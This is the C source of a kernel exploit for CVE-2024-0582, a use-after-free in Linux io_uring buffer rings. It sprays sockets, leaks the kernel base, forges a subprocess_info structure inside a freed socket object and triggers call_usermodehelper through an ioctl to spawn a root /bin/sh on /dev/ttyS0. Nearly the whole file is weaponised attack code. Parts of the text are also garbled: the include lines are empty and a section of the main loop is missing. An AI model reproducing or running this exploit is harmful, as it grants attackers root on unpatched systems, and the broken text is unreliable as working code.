#define _GNU_SOURCE #include #include #include #include "liburing.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define target_tty_dev "/dev/ttyS0" #define PAGE_SIZE 0x1000 #define QD 4 #define sock_def_readable 0xb16b90 #define sk_data_ready_off 680 #define TCP_OFFSET 1400 #define IOCTL_OFFSET 40 #define call_usermodehelper_exec 0xa38f0 #define call_usermodehelper_exec_work 0xa3cb0 #define PROTO_SIZE 432 // offsets into subprocess_info #define subprocess_workstruct_data 0 #define subprocess_workstruct_entry_next 8 #define subprocess_workstruct_entry_prev 16 #define subprocess_workstruct_func 24 #define subprocess_path 40 #define subprocess_argv 48 #define subprocess_envp 56 #define subprocess_init 72 #define subprocess_cleanup 80 #define __ALIGN_MASK(x,mask) (((x)+(mask))&~(mask)) #define ALIGN(x,a) __ALIGN_MASK(x,(typeof(x))(a)-1) // important for these two values to be correct! #define L1_CACHE_SHIFT 6 #define sk_buff_size 224 #define SOCK_MIN_SNDBUF 2 * (2048 + ALIGN(sk_buff_size, 1 << L1_CACHE_SHIFT)) // ripped from liburing static inline int PTR_ERR(const void *ptr) { return (int) (intptr_t) ptr; } static inline bool IS_ERR(const void *ptr) { return uring_unlikely((uintptr_t) ptr >= (uintptr_t) -4095UL); } static struct io_uring_buf_ring *hppa_br_setup(struct io_uring *ring, unsigned int nentries, int bgid, unsigned int flags, int *ret) { struct io_uring_buf_ring *br; struct io_uring_buf_reg reg; size_t ring_size; off_t off; int lret; memset(®, 0, sizeof(reg)); reg.ring_entries = nentries; reg.bgid = bgid; reg.flags = IOU_PBUF_RING_MMAP; *ret = 0; lret = io_uring_register_buf_ring(ring, ®, flags); if (lret) { *ret = lret; return NULL; } off = IORING_OFF_PBUF_RING | (unsigned long long) bgid << IORING_OFF_PBUF_SHIFT; ring_size = nentries * sizeof(struct io_uring_buf); br = mmap(NULL, ring_size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, ring->ring_fd, off); if (IS_ERR(br)) { *ret = PTR_ERR(br); return NULL; } return br; } void *dump_buffer(void *buffer, int size){ for(int i=0; i<(size/16); i++){ // split to 16-byte (2 word) "lines" uint64_t **at; at = buffer + i*16; // non-zero mode if(*at == 0x0 && *(at+1) == 0x0) continue; printf("0x%llx: 0x%llx 0x%llx\n", at, *at, *(at+1)); } } // returns offset at which found; assumes buffer is 8 bytes aligned uint64_t seek_value(void *buffer, int size, uint64_t value){ for(int off = 0; off < size; off = off + 8){ // split to 16-byte (2 word) "lines" uint64_t **at; at = buffer + off; if(*at == value) return off; } return -1; } void exit_err(char *str){ puts(str); exit(1); } int main(){ printf("[*] CVE-2024-0582 Exploit by anatomic (@YordanStoychev)\n\n"); cpu_set_t set; CPU_ZERO(&set); CPU_SET(sched_getcpu(), &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) { perror("sched_setaffinity"); exit(EXIT_FAILURE); } // setup io_uring stuff struct io_uring ring; uint64_t kaslr_base; int ret; ret = io_uring_queue_init(QD, &ring, 0); if (ret < 0) { fprintf(stderr, "queue_init: %s\n", strerror(-ret)); return 1; } struct rlimit max_files; getrlimit(RLIMIT_NOFILE, &max_files); max_files.rlim_cur = max_files.rlim_max; setrlimit(RLIMIT_NOFILE, &max_files); int limit = max_files.rlim_cur - 20; int nr_memfds = 0; int nr_sockets = limit - nr_memfds; int br_ret; int nr_pages = 128; int nr_buffers = 1000; void **buffers = calloc(nr_buffers, sizeof(*buffers)); io_uring_queue_init(QD, &ring, 0); for(int i = 0; i < nr_buffers; i++){ buffers[i] = hppa_br_setup(&ring, nr_pages * 256, i, 0, &br_ret); io_uring_buf_ring_init(buffers[i]); } for(int i = 0; i < nr_buffers; i++){ br_ret = io_uring_unregister_buf_ring(&ring, i); if(br_ret) printf("issue freeing %d\n", br_ret); } uint64_t egg = 0xdeadbeefdeadbeef; int *sockets = calloc(nr_sockets, sizeof(*sockets)); for(int i = 0; ipath // it must remain the same because subprocess_info->path and proto->ioctl overlap // path at start of proto char *path = "/bin/sh"; memcpy(m_proto, path, strlen(path) + 1); // we copy the path into the buffer // we are going to put the other strings after the end of our proto structure as there we will have for sure enough space. // right after the strings we will put the array of pointers argv char *arg0 = ""; // whatever char *arg1 = "-c"; char *arg2 = malloc(128); sprintf(arg2, "/bin/sh &>%s <%s", target_tty_dev, target_tty_dev); uint64_t arg0_addr = proto_addr + PROTO_SIZE; uint64_t arg1_addr = arg0_addr + strlen(arg0) + 1; uint64_t arg2_addr = arg1_addr + strlen(arg1) + 1; uint64_t argv[3]; argv[0] = arg0_addr; argv[1] = arg1_addr; argv[2] = arg2_addr; uint64_t argv_off = arg2_addr - arg0_addr + strlen(arg2) + 1; // offset relative to the end of the proto structure argv_off = argv_off + 7 & ~7; // aligning it 8 bytes uint64_t m_argv_addr = m_proto + PROTO_SIZE + argv_off; uint64_t argv_addr = proto_addr + PROTO_SIZE + argv_off; memcpy(m_proto + PROTO_SIZE, arg0, strlen(arg0)+1); memcpy(m_proto + PROTO_SIZE + strlen(arg0) + 1, arg1, strlen(arg1)+1); memcpy(m_proto + PROTO_SIZE + strlen(arg0) + strlen(arg1) + 2 , arg2, strlen(arg2)+1); memcpy(m_argv_addr, &argv, sizeof(argv)); printf("args at 0x%llx\n", arg0_addr); printf("argv at 0x%llx\n", argv_addr); // we are going to setup a subprocess_info structure at the beginning of the struct sock // don't forget subprocess_info->path must remain the same!! we will instead write the path into the beginning of the proto struct // we need to setup the following members: work_struct.data, work_struct.entry.next, work_struct.entry.prev, work_struct.func // also argv and envp uint64_t subprocess_info[11]; subprocess_info[0] = 0; // work_struct.data subprocess_info[1] = obj_addr + subprocess_workstruct_entry_next; // work_struct.entry.next subprocess_info[2] = obj_addr + subprocess_workstruct_entry_next; // work_struct.entry.prev subprocess_info[3] = kaslr_base + call_usermodehelper_exec_work; subprocess_info[5] = proto_addr; // both proto_addr and path - important to keep it the same as it was subprocess_info[6] = argv_addr; // argv subprocess_info[7] = 0; // envp subprocess_info[10] = 0; // init subprocess_info[11] = 0; // cleanup memcpy(m_sock_addr, &subprocess_info, sizeof(subprocess_info)); printf("subprocess_info set up at beginning of sock at 0x%llx\n", obj_addr); printf("calling ioctl... \n"); ioctl(id, 1337); // call the ioctl and trigger the exploit // time to restore back the socket so we don't panic the kernel memcpy(m_sock_addr, backup, sz_tcp_sock); break; } // close the sockets and memfds as we will loop and the program won't exit normally // so the sockets and memfd will remain in memory for (int i = 0; i < nr_sockets; i++) { close(sockets[i]); } while(true) sleep(60); return 0; }